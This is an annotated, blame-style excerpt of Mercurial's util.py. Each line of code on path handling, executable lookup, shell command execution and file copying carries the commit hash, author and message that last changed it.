parents: 23370
diff changeset
  1389
33799
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
  1390
if pycompat.ispypy:
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
  1391
    # PyPy runs slower with gc disabled
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
  1392
    nogc = lambda x: x
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
  1393
4229
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
  1394
def pathto(root, n1, n2):
886
509de8ab6f31 Fix walk path handling on Windows
Bryan O'Sullivan <bos@serpentine.com>
parents: 884
diff changeset
  1395
    '''return the relative path from one place to another.
4229
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
  1396
    root should use os.sep to separate directories
3669
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
  1397
    n1 should use os.sep to separate directories
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
  1398
    n2 should use "/" to separate directories
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
  1399
    returns an os.sep-separated path.
4229
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
  1400
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
  1401
    If n1 is a relative path, it's assumed it's
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
  1402
    relative to root.
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
  1403
    n2 should always be relative to root.
3669
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
  1404
    '''
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1405
    if not n1:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1406
        return localpath(n2)
4230
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
  1407
    if os.path.isabs(n1):
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
  1408
        if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
  1409
            return os.path.join(root, localpath(n2))
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
  1410
        n2 = '/'.join((pconvert(root), n2))
5844
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1411
    a, b = splitpath(n1), n2.split('/')
1541
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
  1412
    a.reverse()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
  1413
    b.reverse()
884
087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents: 878
diff changeset
  1414
    while a and b and a[-1] == b[-1]:
1541
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
  1415
        a.pop()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
  1416
        b.pop()
884
087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents: 878
diff changeset
  1417
    b.reverse()
30613
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30536
diff changeset
  1418
    return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
884
087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents: 878
diff changeset
  1419
14228
116de1da2154 rename util.main_is_frozen to mainfrozen
Adrian Buehlmann <adrian@cadifra.com>
parents: 14167
diff changeset
  1420
def mainfrozen():
6499
479847ccabe0 Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents: 5659
diff changeset
  1421
    """return True if we are a frozen executable.
479847ccabe0 Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents: 5659
diff changeset
  1422
479847ccabe0 Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents: 5659
diff changeset
  1423
    The code supports py2exe (most common, Windows only) and tools/freeze
479847ccabe0 Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents: 5659
diff changeset
  1424
    (portable, not much used).
479847ccabe0 Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents: 5659
diff changeset
  1425
    """
14968
b7dbe957585c util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents: 14942
diff changeset
  1426
    return (safehasattr(sys, "frozen") or # new py2exe
b7dbe957585c util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents: 14942
diff changeset
  1427
            safehasattr(sys, "importers") or # old py2exe
30039
ff7697b436ab py3: use unicode in is_frozen()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30038
diff changeset
  1428
            imp.is_frozen(u"__main__")) # tools/freeze
6499
479847ccabe0 Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents: 5659
diff changeset
  1429
22633
92b54547ac5d util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents: 22632
diff changeset
  1430
# the location of data files matching the source code
27764
dd0c5f4d1b53 util: adjust 'datapath' to be correct in a frozen OS X package
Matt Harbison <matt_harbison@yahoo.com>
parents: 27755
diff changeset
  1431
if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
22633
92b54547ac5d util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents: 22632
diff changeset
  1432
    # executable version (py2exe) doesn't support __file__
30669
10b17ed9b591 py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30642
diff changeset
  1433
    datapath = os.path.dirname(pycompat.sysexecutable)
22633
92b54547ac5d util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents: 22632
diff changeset
  1434
else:
31074
2912b06905dc py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30988
diff changeset
  1435
    datapath = os.path.dirname(pycompat.fsencode(__file__))
30301
8321b083a83d py3: make util.datapath a bytes variable
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30265
diff changeset
  1436
22638
0d0350cfc7ab i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents: 22633
diff changeset
  1437
i18n.setdatapath(datapath)
0d0350cfc7ab i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents: 22633
diff changeset
  1438
22632
db15bb2d6323 util: move _hgexecutable a few lines, closer to where it is used
Mads Kiilerich <madski@unity3d.com>
parents: 22245
diff changeset
  1439
_hgexecutable = None
db15bb2d6323 util: move _hgexecutable a few lines, closer to where it is used
Mads Kiilerich <madski@unity3d.com>
parents: 22245
diff changeset
  1440
5062
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
  1441
def hgexecutable():
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
  1442
    """return location of the 'hg' executable.
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
  1443
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
  1444
    Defaults to $HG or 'hg' in the search path.
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
  1445
    """
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
  1446
    if _hgexecutable is None:
30637
344e68882cd3 py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30625
diff changeset
  1447
        hg = encoding.environ.get('HG')
31533
28f00d07e2ee util: reference __main__ in sys.modules as a sysstr
Augie Fackler <augie@google.com>
parents: 31496
diff changeset
  1448
        mainmod = sys.modules[pycompat.sysstr('__main__')]
6500
a3175cd7dbec Tidy code, fix typo
Bryan O'Sullivan <bos@serpentine.com>
parents: 6499
diff changeset
  1449
        if hg:
14229
85fd8402cbc4 rename util.set_hgexecutable to _sethgexecutable
Adrian Buehlmann <adrian@cadifra.com>
parents: 14228
diff changeset
  1450
            _sethgexecutable(hg)
14228
116de1da2154 rename util.main_is_frozen to mainfrozen
Adrian Buehlmann <adrian@cadifra.com>
parents: 14167
diff changeset
  1451
        elif mainfrozen():
27765
f1fb93eebb1d util: adjust hgexecutable() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents: 27764
diff changeset
  1452
            if getattr(sys, 'frozen', None) == 'macosx_app':
f1fb93eebb1d util: adjust hgexecutable() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents: 27764
diff changeset
  1453
                # Env variable set by py2app
30637
344e68882cd3 py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30625
diff changeset
  1454
                _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
27765
f1fb93eebb1d util: adjust hgexecutable() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents: 27764
diff changeset
  1455
            else:
30669
10b17ed9b591 py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30642
diff changeset
  1456
                _sethgexecutable(pycompat.sysexecutable)
31074
2912b06905dc py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30988
diff changeset
  1457
        elif (os.path.basename(
2912b06905dc py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30988
diff changeset
  1458
            pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
2912b06905dc py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30988
diff changeset
  1459
            _sethgexecutable(pycompat.fsencode(mainmod.__file__))
6499
479847ccabe0 Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents: 5659
diff changeset
  1460
        else:
14271
4030630fb59c rename util.find_exe to findexe
Adrian Buehlmann <adrian@cadifra.com>
parents: 14262
diff changeset
  1461
            exe = findexe('hg') or os.path.basename(sys.argv[0])
14229
85fd8402cbc4 rename util.set_hgexecutable to _sethgexecutable
Adrian Buehlmann <adrian@cadifra.com>
parents: 14228
diff changeset
  1462
            _sethgexecutable(exe)
5062
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
  1463
    return _hgexecutable
4686
849f011dbf79 Remember path to 'hg' executable and pass to external tools and hooks as $HG.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4673
diff changeset
  1464
14229
85fd8402cbc4 rename util.set_hgexecutable to _sethgexecutable
Adrian Buehlmann <adrian@cadifra.com>
parents: 14228
diff changeset
  1465
def _sethgexecutable(path):
5062
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
  1466
    """set location of the 'hg' executable"""
4686
849f011dbf79 Remember path to 'hg' executable and pass to external tools and hooks as $HG.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4673
diff changeset
  1467
    global _hgexecutable
5062
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
  1468
    _hgexecutable = path
4686
849f011dbf79 Remember path to 'hg' executable and pass to external tools and hooks as $HG.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4673
diff changeset
  1469
26450
1138e1d05207 util.system: compare fileno to see if it needs stdout redirection
Yuya Nishihara <yuya@tcha.org>
parents: 26392
diff changeset
  1470
def _isstdout(f):
1138e1d05207 util.system: compare fileno to see if it needs stdout redirection
Yuya Nishihara <yuya@tcha.org>
parents: 26392
diff changeset
  1471
    fileno = getattr(f, 'fileno', None)
36432
1ca4e86c7265 util: handle fileno() on Python 3 throwing io.UnsupportedOperation
Augie Fackler <augie@google.com>
parents: 36422
diff changeset
  1472
    try:
1ca4e86c7265 util: handle fileno() on Python 3 throwing io.UnsupportedOperation
Augie Fackler <augie@google.com>
parents: 36422
diff changeset
  1473
        return fileno and fileno() == sys.__stdout__.fileno()
1ca4e86c7265 util: handle fileno() on Python 3 throwing io.UnsupportedOperation
Augie Fackler <augie@google.com>
parents: 36422
diff changeset
  1474
    except io.UnsupportedOperation:
1ca4e86c7265 util: handle fileno() on Python 3 throwing io.UnsupportedOperation
Augie Fackler <augie@google.com>
parents: 36422
diff changeset
  1475
        return False # fileno() raised UnsupportedOperation
26450
1138e1d05207 util.system: compare fileno to see if it needs stdout redirection
Yuya Nishihara <yuya@tcha.org>
parents: 26392
diff changeset
  1476
30736
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30669
diff changeset
  1477
def shellenviron(environ=None):
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30669
diff changeset
  1478
    """return environ with optional override, useful for shelling out"""
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30669
diff changeset
  1479
    def py2shell(val):
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30669
diff changeset
  1480
        'convert python object into string that is useful to shell'
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30669
diff changeset
  1481
        if val is None or val is False:
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30669
diff changeset
  1482
            return '0'
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30669
diff changeset
  1483
        if val is True:
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30669
diff changeset
  1484
            return '1'
36418
d26b0bedfaa4 util: use pycompat.bytestr() instead of str()
Augie Fackler <augie@google.com>
parents: 36415
diff changeset
  1485
        return pycompat.bytestr(val)
30736
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30669
diff changeset
  1486
    env = dict(encoding.environ)
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30669
diff changeset
  1487
    if environ:
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30669
diff changeset
  1488
        env.update((k, py2shell(v)) for k, v in environ.iteritems())
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30669
diff changeset
  1489
    env['HG'] = hgexecutable()
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30669
diff changeset
  1490
    return env
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30669
diff changeset
  1491
31108
3f8f53190d6a chg: deduplicate error handling of ui.system()
Yuya Nishihara <yuya@tcha.org>
parents: 31074
diff changeset
  1492
def system(cmd, environ=None, cwd=None, out=None):
1882
c0320567931f merge util.esystem and util.system.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1880
diff changeset
  1493
    '''enhanced shell command execution.
c0320567931f merge util.esystem and util.system.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1880
diff changeset
  1494
    run with environment maybe modified, maybe in different dir.
508
42a660abaf75 [PATCH] Harden os.system
mpm@selenic.com
parents: 464
diff changeset
  1495
11469
c37f35d7f2f5 http: deliver hook output to client
Maxim Khitrov <mkhitrov@gmail.com>
parents: 11297
diff changeset
  1496
    if out is specified, it is assumed to be a file-like object that has a
c37f35d7f2f5 http: deliver hook output to client
Maxim Khitrov <mkhitrov@gmail.com>
parents: 11297
diff changeset
  1497
    write() method. stdout and stderr will be redirected to out.'''
13439
d724a69309e0 util: flush stdout before calling external processes
Mads Kiilerich <mads@kiilerich.com>
parents: 13400
diff changeset
  1498
    try:
30473
39d13b8c101d py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents: 30472
diff changeset
  1499
        stdout.flush()
13439
d724a69309e0 util: flush stdout before calling external processes
Mads Kiilerich <mads@kiilerich.com>
parents: 13400
diff changeset
  1500
    except Exception:
d724a69309e0 util: flush stdout before calling external processes
Mads Kiilerich <mads@kiilerich.com>
parents: 13400
diff changeset
  1501
        pass
13188
6c9345f9edca util: concentrate quoting knowledge to windows.py quotecommand()
Steve Borho <steve@borho.org>
parents: 13128
diff changeset
  1502
    cmd = quotecommand(cmd)
32886
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32816
diff changeset
  1503
    env = shellenviron(environ)
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32816
diff changeset
  1504
    if out is None or _isstdout(out):
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32816
diff changeset
  1505
        rc = subprocess.call(cmd, shell=True, close_fds=closefds,
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32816
diff changeset
  1506
                             env=env, cwd=cwd)
11469
c37f35d7f2f5 http: deliver hook output to client
Maxim Khitrov <mkhitrov@gmail.com>
parents: 11297
diff changeset
  1507
    else:
32886
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32816
diff changeset
  1508
        proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32816
diff changeset
  1509
                                env=env, cwd=cwd, stdout=subprocess.PIPE,
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32816
diff changeset
  1510
                                stderr=subprocess.STDOUT)
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32816
diff changeset
  1511
        for line in iter(proc.stdout.readline, ''):
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32816
diff changeset
  1512
            out.write(line)
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32816
diff changeset
  1513
        proc.wait()
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32816
diff changeset
  1514
        rc = proc.returncode
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32816
diff changeset
  1515
    if pycompat.sysplatform == 'OpenVMS' and rc & 1:
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32816
diff changeset
  1516
        rc = 0
9517
4368f582c806 util.system: Use subprocess instead of os.system
Mads Kiilerich <mads@kiilerich.com>
parents: 9508
diff changeset
  1517
    return rc
1880
05c7d75be925 fix broken environment save/restore when a hook runs.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1877
diff changeset
  1518
7388
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1519
def checksignature(func):
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1520
    '''wrap a function with code to check for calling errors'''
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1521
    def check(*args, **kwargs):
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1522
        try:
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1523
            return func(*args, **kwargs)
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1524
        except TypeError:
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1525
            if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
7646
e62a456b8dc5 error: move SignatureError
Matt Mackall <mpm@selenic.com>
parents: 7644
diff changeset
  1526
                raise error.SignatureError
7388
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1527
            raise
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1528
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1529
    return check
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1530
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
  1531
# a whilelist of known filesystems where hardlink works reliably
32291
bd872f64a8ba cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents: 32290
diff changeset
  1532
_hardlinkfswhitelist = {
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
  1533
    'btrfs',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
  1534
    'ext2',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
  1535
    'ext3',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
  1536
    'ext4',
31598
32f09ead059b util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents: 31594
diff changeset
  1537
    'hfs',
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
  1538
    'jfs',
35511
d8f408d999f9 util: whitelist NTFS for hardlink creation (issue4580)
Matt Harbison <matt_harbison@yahoo.com>
parents: 35509
diff changeset
  1539
    'NTFS',
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
  1540
    'reiserfs',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
  1541
    'tmpfs',
31598
32f09ead059b util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents: 31594
diff changeset
  1542
    'ufs',
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
  1543
    'xfs',
31598
32f09ead059b util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents: 31594
diff changeset
  1544
    'zfs',
32291
bd872f64a8ba cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents: 32290
diff changeset
  1545
}
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
  1546
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1547
def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
27369
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1548
    '''copy a file, preserving mode and optionally other stat info like
29367
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1549
    atime/mtime
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1550
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1551
    checkambig argument is used with filestat, and is useful only if
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1552
    destination file is guarded by any lock (e.g. repo.lock or
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1553
    repo.wlock).
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1554
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1555
    copystat and checkambig should be exclusive.
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1556
    '''
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1557
    assert not (copystat and checkambig)
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1558
    oldstat = None
18326
614f769e6aa7 util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents: 18026
diff changeset
  1559
    if os.path.lexists(dest):
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1560
        if checkambig:
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
  1561
            oldstat = checkambig and filestat.frompath(dest)
18326
614f769e6aa7 util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents: 18026
diff changeset
  1562
        unlink(dest)
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
  1563
    if hardlink:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
  1564
        # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
  1565
        # unless we are confident that dest is on a whitelisted filesystem.
31678
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31662
diff changeset
  1566
        try:
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31662
diff changeset
  1567
            fstype = getfstype(os.path.dirname(dest))
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31662
diff changeset
  1568
        except OSError:
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31662
diff changeset
  1569
            fstype = None
31575
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
  1570
        if fstype not in _hardlinkfswhitelist:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31573
diff changeset
  1571
            hardlink = False
31577
e7a02e9ad162 util: enable hardlink for copyfile
Jun Wu <quark@fb.com>
parents: 31575
diff changeset
  1572
    if hardlink:
23899
4e451d1359de copyfile: allow optional hardlinking
